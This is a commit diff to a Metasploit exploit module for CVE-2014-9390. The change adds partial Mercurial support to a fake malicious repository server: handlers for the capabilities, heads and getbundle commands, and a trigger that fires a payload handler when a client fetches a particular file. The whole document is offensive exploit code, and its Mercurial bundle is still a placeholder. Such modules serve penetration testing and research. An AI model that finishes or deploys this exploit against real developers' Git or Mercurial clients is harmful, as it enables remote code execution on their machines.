Partial mercurial support. Still need to implement bundle format

Author: jhart-r7

modules/exploits/multi/http/git_cve_2014_9390.rb

@@ -159,7 +159,18 @@ def setup_mercurial
     fail ArgumentError, 'MERCURIAL_URI must start with a /' unless mercurial_uri =~ /^\//
     # sanity check the malicious hook:
     fail ArgumentError, 'MERCURIAL_HOOK must not be blank' if datastore['MERCURIAL_HOOK'].blank?
-    # TODO: build the fake repository
+    # we fake the Mercurial HTTP protocol such that we are compliant as possible but
+    # also as simple as possible so that we don't have to support all of the protocol
+    # complexities.  Taken from:
+    #   http://mercurial.selenic.com/wiki/HttpCommandProtocol
+    #   http://selenic.com/hg/file/tip/mercurial/wireproto.py
+    @repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
+    fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
+    @repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
+    # TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
+    @repo_data[:mercurial][:files]["?cmd=getbundle&common=0000000000000000000000000000000000000000&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
+
+    # TODO: finish building the fake repository
   end
 
   def build_object(type, content)
@@ -255,19 +266,22 @@ def do_html(cli, _req)
   def do_mercurial(cli, req)
     # determine if the requested file is something we know how to serve from our
     # fake repository and send it if so
-    req_file = URI.parse(req.uri).path.gsub(/^#{mercurial_uri}/, '')
-    if @repo_data[:mercurial][:files].key?(req_file)
-      vprint_status("Sending Mercurial #{req_file}")
-      send_response(cli, @repo_data[:mercurial][:files][req_file])
-      if req_file == @repo_data[:mercurial][:trigger]
+    uri = URI.parse(req.uri)
+    req_path = uri.path
+    req_path += "?#{uri.query}" if uri.query
+    req_path.gsub!(/^#{mercurial_uri}/, '')
+    if @repo_data[:mercurial][:files].key?(req_path)
+      vprint_status("Sending Mercurial #{req_path}")
+      send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
+      if req_path == @repo_data[:mercurial][:trigger]
         vprint_status("Trigger!")
         # Do we need this?  If so, how can I update the payload which is in a file which
         # has already been built?
         # regenerate_payload
         handler(cli)
       end
     else
-      vprint_status("Mercurial #{req_file} doesn't exist")
+      vprint_status("Mercurial #{req_path} doesn't exist")
       send_not_found(cli)
     end
   end